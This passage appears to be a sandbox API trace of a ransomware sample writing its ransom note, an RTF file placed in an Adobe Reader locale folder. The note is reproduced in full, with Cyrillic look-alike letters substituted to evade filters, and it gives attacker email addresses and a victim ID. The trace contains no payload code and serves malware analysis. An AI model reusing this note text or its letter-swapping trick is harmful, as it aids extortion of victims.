b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nd", lpUsedDefaultChar=0x0) returned 14086 [0041.095] WriteFile (in: hFile=0x1c4, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0041.096] CloseHandle (hObject=0x1c4) returned 1 [0041.097] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\!bwng_info!.rtf")) returned 0xffffffff [0041.097] GetLastError () returned 0x2 [0041.097] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 